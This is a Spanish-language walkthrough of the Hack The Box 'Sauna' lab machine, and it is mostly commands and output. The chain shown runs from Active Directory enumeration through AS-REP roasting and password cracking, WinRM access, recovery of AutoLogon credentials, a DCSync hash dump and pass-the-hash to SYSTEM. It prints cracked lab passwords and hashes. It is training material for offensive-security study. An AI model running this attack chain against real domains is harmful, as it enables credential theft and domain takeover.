Inicio Sauna HTB Write-up
Entrada
Cancelar

Sauna HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Sauna, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema, en este caso es de directorio activo (smbmap, smbclient, crackmapexec, LDAP, Kerberos).
  • Ataque ASRepRoast utilizando GetNPUsers.py.
  • Enumeración de información con WinPEAS.
  • Utilización de Bloodhound y Sharphound.exe.
  • DCSync attack.
  • Pass the hash.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
ping -c 1 10.10.10.175
PING 10.10.10.175 (10.10.10.175) 56(84) bytes of data.
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=138 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap --open -sS -p- -min-rate 5000 -n -Pn 10.10.10.175 -oG ports

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49677/tcp open  unknown
49689/tcp open  unknown
49696/tcp open  unknown

Los puertos expuestos de la máquina nos hacen pensar que se trata de un directorio activo, sin embargo, realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49677,49689,49696 10.10.10.175 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-02-07 10:16:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: 7h00m00s
| smb2-time: 
|   date: 2023-02-07T10:16:56
|_  start_date: N/A

Efectivamente, estamos frente a un directorio activo. En primer lugar, se observa el puerto 445 abierto, el cual corresponde al servicio smb, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec:

1
2
3
crackmapexec smb 10.10.10.175

SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)

Se puede observar que es un DC y que el dominio es EGOTISTICAL-BANK.LOCAL, por lo tanto, abrimos el /etc/hosts e ingresamos dicho nombre de dominio:

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.10.175    EGOTISTICAL-BANK.LOCAL

Para de esta manera tener conectividad, para comprobarlo utilizamos ping:

1
2
3
4
ping -c 1 EGOTISTICAL-BANK.LOCAL

PING EGOTISTICAL-BANK.LOCAL (10.10.10.175) 56(84) bytes of data.
64 bytes from EGOTISTICAL-BANK.LOCAL (10.10.10.175): icmp_seq=1 ttl=127 time=136 ms

Luego de comprobar lo anterior, probamos si se pueden listar archivos compartidos en la red, con la herramienta crackmapexec:

1
2
3
4
crackmapexec smb 10.10.10.175 --shares

SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)

Sin embargo, no fue posible. Para seguir la enumeración utilizamos smbmap:

1
2
3
smbmap -H 10.10.10.175

[+] IP: 10.10.10.175:445        Name: EGOTISTICAL-BANK.LOCAL 

No tenemos capacidad de lectura de ningún recurso, por lo que no podemos seguir enumerando por smb.

Revisando el archivo de servicios creado por nmap vemos que está el servicio de LDAP, buscando en la web de HackTricks mencionan formas de utilizar LDAP para enumerar información, en este caso usamos ldapsearch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts

# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

Observamos que existe el context DC=EGOTISTICAL-BANK,DC=LOCAL, filtrando por este nombre buscamos:

1
2
 ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' 

Esto arroja mucha información, sin embargo, si nos fijamos en las últimas líneas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Managed Service Accounts, EGOTISTICAL-BANK.LOCAL
dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL

# Keys, EGOTISTICAL-BANK.LOCAL
dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL

# TPM Devices, EGOTISTICAL-BANK.LOCAL
dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL

# Builtin, EGOTISTICAL-BANK.LOCAL
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL

# Hugo Smith, EGOTISTICAL-BANK.LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL

# search reference
ref: ldap://ForestDnsZones.EGOTISTICAL-BANK.LOCAL/DC=ForestDnsZones,DC=EGOTIST
 ICAL-BANK,DC=LOCAL

# search reference
ref: ldap://DomainDnsZones.EGOTISTICAL-BANK.LOCAL/DC=DomainDnsZones,DC=EGOTIST
 ICAL-BANK,DC=LOCAL

Encontramos un posible nombre de usuario, Hugo Smith.

Probamos si es que este usuario es válido utilizando kerbrute, ingresamos el nombre Hugo Smith en un archivo de texto llamado names.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kerbrute userenum -d 'EGOTISTICAL-BANK.LOCAL' --dc 10.10.10.175 names.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 02/06/23 - Ronnie Flathers @ropnop

2023/02/06 22:59:23 >  Using KDC(s):
2023/02/06 22:59:23 >   10.10.10.175:88

2023/02/06 22:59:23 >  Done! Tested 1 usernames (0 valid) in 0.176 seconds

Pero no es válido, sin embargo, se pueden probar variaciones de este nombre como HugoSmith, Hugo.Smith, hugosmith, etc. Dichas combinaciones las agregamos al archivo names.txt.

Al ejecutar kerbrute otra vez tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kerbrute userenum -d 'EGOTISTICAL-BANK.LOCAL' --dc 10.10.10.175 names.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 02/06/23 - Ronnie Flathers @ropnop

2023/02/06 23:02:52 >  Using KDC(s):
2023/02/06 23:02:52 >   10.10.10.175:88

2023/02/06 23:02:52 >  [+] VALID USERNAME:       hsmith@EGOTISTICAL-BANK.LOCAL
2023/02/06 23:02:52 >  Done! Tested 6 usernames (1 valid) in 0.141 seconds

Observamos que el nombre hsmith es válido. Sin embargo, no podemos hacer mucho con este nombre, en caso de poder extraer un ticket para poder crackear, kerbrute ya nos lo habría pasado, por lo tanto, buscamos más nombres.

Llama la antención que el puerto 80 está abierto, específicamente un IIS, entramos a esta página por el navegador:

Si navegamos dentro de la sección About us, en la parte inferior encontramos diversos nombres Fergus Smith, Shaun Coins, Sophie Driver, Bowie Taylor, Hugo Bear, Steven Kerb.

Todos estos nombres los ingresamos a la lista names.txt, escritos de la misma forma que hsmith:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kerbrute userenum -d 'EGOTISTICAL-BANK.LOCAL' --dc 10.10.10.175 names.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 02/06/23 - Ronnie Flathers @ropnop

2023/02/06 23:51:42 >  Using KDC(s):
2023/02/06 23:51:42 >   10.10.10.175:88

2023/02/06 23:51:43 >  [+] VALID USERNAME:       hsmith@EGOTISTICAL-BANK.LOCAL
2023/02/06 23:51:43 >  [+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:95aec76a6cc2f05ace293d1202d2e7a7$fed329cbe11f4839114818972f65a86a0ef12e9ca34fd2097f3d2d563091c80e9eac88cbc19f038eab0ec3cc5b4217264ff23b78d2bc499481e2e8c64a9b8ed86df1d64f04584f334df86fcf9415d0c1792e8f787e75b45d6624b6d7a1a9feedc194dd68113ece2fac76a5b1126c5db93c76a7ef8c6b7f7cc37d5d4d90d82ff1930ff2a1a926321cd5e44f7ca3d6733f777f5bb3eca06c7702d9a504abcffe24a489bc195a74baeb4398a7f4059778321779c919a2ee610592783b8bc9e919f688ac6bafd3991a3eea4eeac15ad7f716546425f12050b523b46a7413d58c01f6dd11e3f8106d968f8f0167ca89d38ecbdbcfa0c3b98cd51217999f20265e51e837fa1a55cdbbdd7401dac8fefbbcebb3831c5b787d84                                                                                                                                                   
2023/02/06 23:51:43 >  [+] VALID USERNAME:       fsmith@EGOTISTICAL-BANK.LOCAL
2023/02/06 23:51:43 >  Done! Tested 7 usernames (2 valid) in 0.150 seconds

Encontramos otro usuario válido, en este caso fsmith, además kerbrute logró extraer el hash pues no requiere de una autenticación previa.

Explotación

Sin embargo, utilizaremos otra herramienta para realizar el ASRepRoast, llamada impacket-GetNPUsers:

1
2
3
4
5
6
7
8
9
10
11
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile names.txt

Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:56e8584ae2edd99e1fcea1e7ffad0b2e$9d2d44cdbe49350f25616e2ea10fb36a06ce491fe2233cac2a280b320a96565293bf3c06a380d7afe224c51d4feaad58aee4aa2905da4df46cb2aa7ce8c5ae0547c8a769c7f234d0979e24117755ff6a11baed82e03043141cb8f5bee8aed57bc28e152bb47a97336ea70e1ae62e1b13ac8739e4dac20e0f024d089c511310a5e73e97dba2d047ea6e8e44fb2e1bce9a40ebf44e6b34b684f08cbd77947a330450b2f51d88524b35c3d11d806ae2fafdff8c269fe9837f498998ad6550f15a78ea5887f79c5c197f43edb69ccd063afaa9536f0787369d2bcbdf59185b8bb44587f032356993ccfbc6ac6c1509d12e370a4740b6d50b22ca0ac3236a381457c8
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set

Este hash lo crackeamos con jhon, utilizando el diccionario rockyou.txt:

1
2
3
4
5
6
7
8
9
10
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)     
1g 0:00:00:08 DONE (2023-02-07 01:58) 0.1203g/s 1268Kp/s 1268Kc/s 1268KC/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Tenemos una contraseña, Thestrokes23 comprobaremos el usuario mediante crackmapexec:

1
2
3
4
crackmapexec smb 10.10.10.175 -u'fsmith' -p'Thestrokes23'

SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 

Como está validado intentaremos comprobar si este usuario pertenece al grupo remote management use, pues se tiene que el puerto 5985 está abierto, esto lo realizamos utilizando crackmapexec:

1
2
3
4
5
crackmapexec winrm 10.10.10.175 -u'fsmith' -p'Thestrokes23'

SMB         10.10.10.175    5985   SAUNA            [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP        10.10.10.175    5985   SAUNA            [*] http://10.10.10.175:5985/wsman
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

Observamos que si lo es, por lo tanto hacemos uso de evil-winrm para conectarnos a la máquina:

1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith

Hemos vulnerado la máquina y estamos dentro, por lo tanto buscamos la flag del usuario, la cual se encuentra en su directorio personal:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         2/7/2023   1:58 AM             34 user.txt


*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
e783e270192f415ead94f8

Escalada de privilegios

En primer lugar, buscamos los usuarios en el sistema:

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\FSmith> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr

Observamos que existen otros, el interesante podría ser svc_loanmgr.

Buscamos si tenemos algún privilegio interesante en particular:

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\FSmith> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Pero no hay nada. Buscamos archivos ocultos, pero tampoco hay nada.

Por lo tanto, utilizaremos la herramienta WinPEAS para buscar alguna información o vía para escalar privilegios, para ello pasamos el archivo winPEASx64.exe a la máquina víctima:

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\FSmith> upload /home/kali/Downloads/winPEASx64.exe
Info: Uploading /home/kali/Downloads/winPEASx64.exe to C:\Users\FSmith\winPEASx64.exe

                                                             
Data: 2625536 bytes of 2625536 bytes copied

Info: Upload successful!

Mientras ejecutamos la herramienta vemos algo interesate:

1
2
3
4
5
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

Se tienen las credenciales por defecto de AutoLogon, con crackmapexec probamos si son correctas:

1
2
3
4
crackmapexec smb 10.10.10.175 -u'svc_loanmgr' -p 'Moneymakestheworldgoround!'

SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!

Comprobamos mediante winrm si pertenece al grupo remote management use:

1
2
3
4
5
crackmapexec winrm 10.10.10.175 -u'svc_loanmgr' -p 'Moneymakestheworldgoround!'

SMB         10.10.10.175    5985   SAUNA            [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP        10.10.10.175    5985   SAUNA            [*] http://10.10.10.175:5985/wsman
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)

Como si pertenece entramos con evil-winrm:

1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr

Entramos correctamente con el usuario svc_loanmgr, sin embargo, realizando todo lo anterior, de primeras no encontramos nada potencial para escalar privilegios, por lo tanto, utilizaremos BloodHound para analizar vías potenciales.

Para utilizar BloodHound necesitas un archivo comprimido que recopile información del sistema, para ellos haremos uso de Sharphound.exe (Sharphound.ps1 ya no funciona), este ejecutable se puede encontrar en github, dicho archivo lo subimos a la máquina víctima:

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> upload /home/kali/Downloads/SharpHound.exe
Info: Uploading /home/kali/Downloads/SharpHound.exe to C:\Users\svc_loanmgr\Documents\SharpHound.exe

                                                             
Data: 1402196 bytes of 1402196 bytes copied

Info: Upload successful!

Luego de ejecutarlo (./SharpHound.exe), nos arrojará un comprimido con la información obtenida:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> dir


    Directory: C:\Users\svc_loanmgr\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/8/2023  12:58 AM          11453 20230208005806_BloodHound.zip
-a----         2/8/2023  12:48 AM        1051648 SharpHound.exe
-a----         2/8/2023  12:58 AM           8601 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin

Este archivo lo pasamos a nuestro equipo para subirlo a BloodHound:

1
2
3
4
5
C:\Users\svc_loanmgr\Documents> download ./20230208005806_BloodHound.zip
Info: Downloading ./20230208005806_BloodHound.zip to ./20230208005806_BloodHound.zip

                                                             
Info: Download successful!

Dentro de BloodHound subimos el archivo y esperamos que se carguen correctamente:

Luego, entramos de las opciones de análisis de BloodHound:

Dentro de estas opciones de análisis iremos probando, en este caso, por Dangerous privileges, lo que nos arrojará el siguiente grafo:

El último usuario corresponde al usuariuo svc_loanmgr, del cual ya tenemos su contraseña.

Se ve el ataque DCSync, para inspeccionar en que consiste hacemos click derecho y help:

Al ya disponer de las credenciales del usuario svc_loanmgr podemos realizar este ataque, para ello utilizaremos impacket-secretdump (también se podría utilizar mimikatz):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175

Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:169b9130c295b7a53c3530976d6d5a88:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:4faee1a41406b9665c2104ad1265214bb0fff97b79a1749f27fc6770e8ddee22
SAUNA$:aes128-cts-hmac-sha1-96:accc3942ac95cec26886e61b6affb5ce
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up... 

Observamos que tenemos los hashes LM de los usuarios, en este punto se puede intentar realizar un pass the hash con el usuario administrator con lo extraido del exploit, para ello utilizamos psexec.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e

Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file RLWZBaJJ.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service xoLS on 10.10.10.175.....
[*] Starting service xoLS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

En este punto solo debemos ingresar al directorio personal del administrador para encontrar la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 489C-D8FC

 Directory of C:\Users\Administrator\Desktop

07/14/2021  02:35 PM    <DIR>          .
07/14/2021  02:35 PM    <DIR>          ..
02/07/2023  08:01 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,813,935,104 bytes free

C:\Users\Administrator\Desktop> type root.txt
711fa88c7069c8be2f7f

!Listo!

Hemos vulnerado completamente la máquina hasta ser administradores.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.